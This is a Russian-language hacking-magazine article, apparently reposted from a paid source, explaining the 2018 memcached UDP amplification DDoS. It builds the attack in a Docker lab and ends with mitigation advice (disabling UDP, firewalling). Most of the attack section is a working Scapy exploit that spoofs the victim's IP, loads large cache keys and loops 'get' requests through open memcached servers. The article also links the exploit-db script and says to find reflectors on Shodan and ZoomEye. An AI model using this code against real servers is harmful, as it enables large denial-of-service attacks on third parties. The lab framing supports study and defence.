JustPaste.it

Хакер - Memcached как средство для DoS. Как ошибка в конфиге превратила полезную утилиту в хакерское оружие

https://t.me/hacker_frei

В конце февраля этого года GitHub подвергся мощнейшей DoS-атаке с пиковой мощностью 1 Тбайт/с. Атака стала возможна из-за особенностей кеширующей базы данных Memcached. Помимо GitHub, ее используют Facebook, LiveJournal и другие большие сайты. В этой статье я расскажу, что делает небольшой скрипт на Python, который привел к таким последствиям.

Сама атака относится к типу так называемых DRDoS (Distributed Reflection Denial of Service) — отраженных DoS, когда сервер атакуется не напрямую запросами от ботов, а ответными пакетами. В случае с Memcached злоумышленник отправляет запрос якобы с IP-адреса жертвы, БД верит этому и ответ уходит уже на реальный сервер.

Важно, что здесь присутствует так называемое умножение (амплификация) мощности, когда размер атакующего трафика увеличивается в несколько раз. Таким образом, запрос в 15 байт, отправленный «Мемкешу», превращается в ответ размером в несколько сотен килобайт, что дает колоссальный фактор умножения — примерно в 51 тысячу раз.

 

Давай разберемся, как это можно провернуть, кто виноват и как такое предотвращать.

 

Готовимся

Для демонстрации атаки нам понадобится целых четыре стенда. Для этих целей я буду использовать контейнеры Docker. Первый контейнер будет играть роль сервера-жертвы, два других — боты для проведения DoS, и, наконец, последний станет изображать компьютер атакующего, откуда мы запустим эксплоит.

Все эти контейнеры будут работать на Debian и, за исключением установленных пакетов, могут быть идентичными.

Запускаем сервер-жертву.

docker run -ti --rm --privileged --name=memcvictim --hostname=memcvictim debian

Первое, что сделаем после старта контейнера, — установим все необходимые приложения и зависимости. Помимо непосредственно Memcached, нужно будет установить какой-нибудь сниффер, чтобы наглядно пронаблюдать атаку.

apt-get update && apt-get install -y tcpdump build-essential wget libevent-dev

Сам дистрибутив Memcached будем собирать из исходников, нам понадобится версия 1.5.5.

cd ~/ && wget http://www.memcached.org/files/memcached-1.5.5.tar.gz && tar xzf memcached-1.5.5.tar.gz cd ~/memcached-1.5.5 && ./configure && make && make install memcached -u root Запущенный докер-контейнер, который будет играть роль сервера для атаки Запущенный докер-контейнер, который будет играть роль сервера для атаки

Теперь дело за DoS-ботами, на них просто поднимаем ту же самую версию Memcached и линкуем контейнеры с жертвой, чтобы они могли отправлять ей пакеты по сети.

docker run -ti --rm --privileged --link=memcvictim --name=memcdosbot1 --hostname=memcdosbot1 debian docker run -ti --rm --privileged --link=memcvictim --name=memcdosbot2 --hostname=memcdosbot2 debian

Компилируем дистрибутив.

cd ~/ && wget http://www.memcached.org/files/memcached-1.5.5.tar.gz && tar xzf memcached-1.5.5.tar.gz cd ~/memcached-1.5.5 && ./configure && make && make install memcached -u root

И последняя в списке — машина атакующего. Ее нужно слинковать с DoS-ботами.

docker run -ti --rm --privileged --link=memcdosbot1 --link=memcdosbot2 --name=attacker --hostname=attacker debian

Здесь нам понадобится Python и библиотеки: Scapy для манипулирования пакетами на низком уровне и memcache — для работы с базой данных.

apt-get update && apt-get install -y nano python wget python-requests python-scapy python-memcache tcpdump

Скачиваем исходный код эксплоита.

cd ~ && wget https://www.exploit-db.com/download/44254.py

В итоге у нас получилась следующая схема.

Схема тестового окружения для проверки Memcached DoS Схема тестового окружения для проверки Memcached DoS
 

Пара слов про UDP

Атака будет выполняться по протоколу UDP, поэтому не мешало бы немного поговорить о его структуре. User Datagram Protocol, или протокол пользовательских датаграмм, — один из ключевых элементов стека TCP/IP. UDP, в отличие от TCP, использует упрощенную передачу пакетов. В контексте протокола они называются датаграммами и не содержат всевозможных штампов времени, подписей, проверки целостности данных и тому подобных вещей.

Подразумевается, что UDP должен использоваться только для передачи не сильно критичных данных, так как допускает, что они могут дублироваться, потеряться или приходить не в установленном порядке. Если нужны какие-то проверки состояний, то вся логика ложится на плечи конечного приложения.

Все, что касается вида датаграммы, описывается в стандарте RFC 768, который был представлен в августе 1980 года. Согласно этому документу структура пакета UDP выглядит следующим образом.

Структура UDP-пакета Структура UDP-пакета

Заголовок датаграммы состоит из четырех полей, каждое имеет размер два байта (16 бит). Выделенные цветом поля необязательны к использованию в протоколе IPv4.

Поле порт отправителя, как следует из названия, отвечает за номер порта отправителя. Если предполагается, что на переданные пакеты нужно отвечать, то значение этого поля определяет, на какой конечный порт будет посылаться ответ. Это первое важное для эксплуатации поле.

Порт получателя нужен, чтобы датаграмма ушла на порт, который слушает обрабатывающий ее сервис.

Поскольку UDP — это протокол без установления соединения, то, чтобы передавать данные между машинами в сети, он работает над IPv4. Так что, помимо этих заголовков, присутствуют, разумеется, еще и заголовки от IP.

Обычный пакет UDP в сниффере Wireshark Обычный пакет UDP в сниффере Wireshark

Как видишь, теперь появились еще заголовки Source и Destination, в которых указаны IP-адреса машин клиента и сервера соответственно.

 

Особенности уязвимости

Схема этой атаки стара, как стек TCP/IP, потому что в ее основе лежит подмена IP-адреса отправителя (IP Spoofing). При составлении пакета можно указать произвольный IP в заголовке Source. Некорректно настроенный сервер или приложение без соответствующих проверок отправит ответ на указанный в этом поле адрес. Таким образом можно заставлять ничего не подозревающие машины засыпать пакетами неугодные злоумышленникам серверы.

Memcached по умолчанию вешает кеширующий сервис на TCP-порт 11211 на локальном адресе. Однако этим он не ограничивается и в довесок открывает UDP-порт под тем же номером, только уже на всех возможных интерфейсах. Такое поведение — это отголоски давно минувших дней, когда машины были настолько слабыми, что оверхед, который приносит реализация протокола TCP, ощутимо влиял на производительность приложения.

Взглянем на коммит, который исправляет этот мисконфиг (уязвимостью такое упущение можно назвать лишь с натяжкой).

Патч, который фиксит DoS-мисконфиг Патч, который фиксит DoS-мисконфиг

Действительно, до этого патча по умолчанию UDP-порт 11211 торчал наружу.

memcached.c
7482: if (tcp_specified && settings.port != 0 && !udp_specified) { 7483: settings.udpport = settings.port; 7484: } else if (udp_specified && settings.udpport != 0 && !tcp_specified) { 7485: settings.port = settings.udpport; 7486: }

Проверить мисконфиг можно простой командой:

echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211 Тестирование сервера Memcached на уязвимость Тестирование сервера Memcached на уязвимость

Давай вооружимся библиотекой Scapy и попробуем вручную собрать пакет, который уйдет на нужный нам адрес. Отправлять будем с машины атакующего. За заголовки Source и Destination отвечают параметры src и dst. В первое поле впишем адрес машины, куда мы хотим отправить ответ, сформированный сервером Memcached, который указан во втором поле. Пакет мы будем отправлять на машину memcvictim с IP-адресом 172.17.0.2.

root@attacker:/# scapy Welcome to Scapy (unknown.version) >>> pck_ip = IP(src="172.17.0.2", dst="memcdosbot1")

Дальше дело за самой датаграммой. В sport пишем порт, на который будет отправлен ответ, в dport — порт, на который уйдет наш пакет. Это дефолтный порт Memcached 11211.

>>> pck_udp = UDP(sport=31337, dport=11211)

В качестве команды для теста будем отправлять stats sizes, которая выводит статистику о размерах элементов в кеше.

>>> pck_data = "\x00\x00\x00\x00\x00\x01\x00\x00stats sizes\r\n"

Прежде чем отправлять пакет, запустим сниффер tcpdump на машине memcvictim, чтобы проконтролировать доставку пакета.

root@memcvictim:~/memcached-1.5.5# tcpdump -X port 31337

Время отправлять пакет, для этого существует функция send().

>>> ans = send(pck_ip/pck_udp/pck_data) Спуфинг IP-адреса и отправка ответа на компьютер-жертву Спуфинг IP-адреса и отправка ответа на компьютер-жертву

Благодаря этому ответ от Memcached уходит на адрес компьютера-жертвы. Причем он немного больше по размеру, чем данные, которые мы отправили. Если использовать просто команду stats, то ответ будет еще больше.

Перехваченный ответ на Memcached-команду stats Перехваченный ответ на Memcached-команду stats

Изначальный размер пакета-запроса был 43 байт, а ответ в итоге получился 1400 + 508 = 1908 байт, что примерно в 44 раза больше. Теперь мы можем использовать и другие команды Memcached для увеличения размеров ответа. Например, можно создать свои ключи и записать в качестве значений данные нужного размера, а затем, используя команду get <имя_ключа>, отправить их на атакуемую машину. Причем можно получать данные сразу нескольких ключей, указывая их названия через пробел: get <имя_ключа_1> <имя_ключа_2> <имя_ключа_3>.

В эксплоите в качестве значений ключа используется ответ от google.com.

44254.py
38: payload = requests.get("https://google.com").text ... 78: mc = memcache.Client([server],debug=False) 79: mc.set(payload_key, payload)

Возьмем это на заметку и соберем свой мини-эксплоит. Сначала импортируем необходимые модули.

import requests import memcache import re from scapy.all import * payload = requests.get("https://google.com").text

Список keys будет содержать имена создаваемых ключей.

keys = [ "key1", "key2", "key3" ]

А packets — подготовленные к отправке пакеты.

packets = []

В переменной SERVER_LIST будем хранить адреса уязвимых серверов Memcached. У нас их всего два — memcdosbot1 и memcdosbot2.

SERVER_LIST = [ "memcdosbot1:11211", "memcdosbot2:11211", ]

В SERVER_TO_ATTACK находится IP-адрес и порт атакуемой машины.

SERVER_TO_ATTACK = "172.17.0.2:11211" target_ip, target_port = SERVER_TO_ATTACK.split(":")

Теперь работаем с каждым сервером по отдельности. Сначала создадим пары ключ — значение.

for server in SERVER_LIST: if ':' in server: server, port = server.split(':') cmd = "get" for key in keys: mc = memcache.Client([server],debug=False) mc.set(key, payload) cmd += " {}".format(key)

Дальше дело за формированием пакета и его записью в список пакетов, готовых к отправке.

pck_ip = IP(src=target_ip, dst=server) pck_udp = UDP(sport=int(target_port), dport=int(port)) pck_data = "\x00\x00\x00\x00\x00\x01\x00\x00{0}\r\n".format(cmd) packets.append(pck_ip/pck_udp/pck_data)

Отправляем пакеты.

while True: for packet in packets: send(packet)

После чего на атакуемой машине видим примерно такую пакетную вакханалию.

Успешная эксплуатация. Заваливаем пакетами машину-жертву Успешная эксплуатация. Заваливаем пакетами машину-жертву

Здесь я написал просто while True, но при желании можно было бы использовать библиотеку asyncio для асинхронной отправки пакетов. К тому же сама Scapy умеет отправлять данные в бесконечном потоке, если в аргументы вызова send добавить loop=1. Но это уже не относится к разбору уязвимости, можешь сам побаловаться на досуге.

 

Реальные опасности

У нас были две подконтрольные нам машины с уязвимыми серверами Memcached, но в реальных кейсах для проведения атаки злоумышленнику потребуется раздобыть достаточное количество таких серверов. Где их взять? Пятисекундное шуршание в популярных поисковиках типа Shodan и ZoomEye выдает десятки тысяч потенциально годных для таких целей компьютеров.

Список найденных на сервисе ZoomEye серверов с Memcached Список найденных на сервисе ZoomEye серверов с MemcachedСписок найденных на сервисе Shodan серверов с Memcached Список найденных на сервисе Shodan серверов с Memcached

Дальше работает простая математика. Если взять три ключа где-то по 11 Кбайт каждый и отправить их с десяти тысяч серверов, то получается мощность чуть больше 2,64 Гбайт/с. При этом исходящая мощность изначально была всего чуть более 10 Мбайт. Разумеется, это все бумажные числа и на практике все может сильно меняться, так как зависит от множества факторов. Но масштабы возможных проблем прикинуть позволяет.

Независимый эксперт Амир Хашаяр Мохаммади (Amir Khashayar Mohammadi) выложил на GitHub сорцы написанной на Python утилиты со звонким названием Memcrashed, которая в автоматическом режиме парсит данные с Shodan о доступных серверах с Memcached. Затем начинает атаковать указанный при запуске IP-адрес, рассылая команды на эти серверы.

 

Выводы

Как видишь, простейший мисконфиг привел к таким серьезным проблемам. Если ты счастливый обладатель проблемных инсталляций Memcached, то скорее добавляй ключ -U 0или --udp-port=0, чтобы отключить поддержку UDP. Или закручивай гайки при помощи файрвола, если вдруг для каких-то приложений критично использование именно этого протокола.

Чтобы не допустить или по крайней мере снизить вероятность подобных проблем, нужно внимательно относиться к тем участкам кода, которые тянутся из древних версий приложения. Хотя бы раз в год нужно проводить ревизию старых функций на предмет логических ошибок, всевозможных недочетов, да и общей целесообразности. Индустрия не стоит на месте, и то, что казалось очевидным и безопасным вчера, может стать абсолютно неприемлемым и компрометирующим сегодня.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei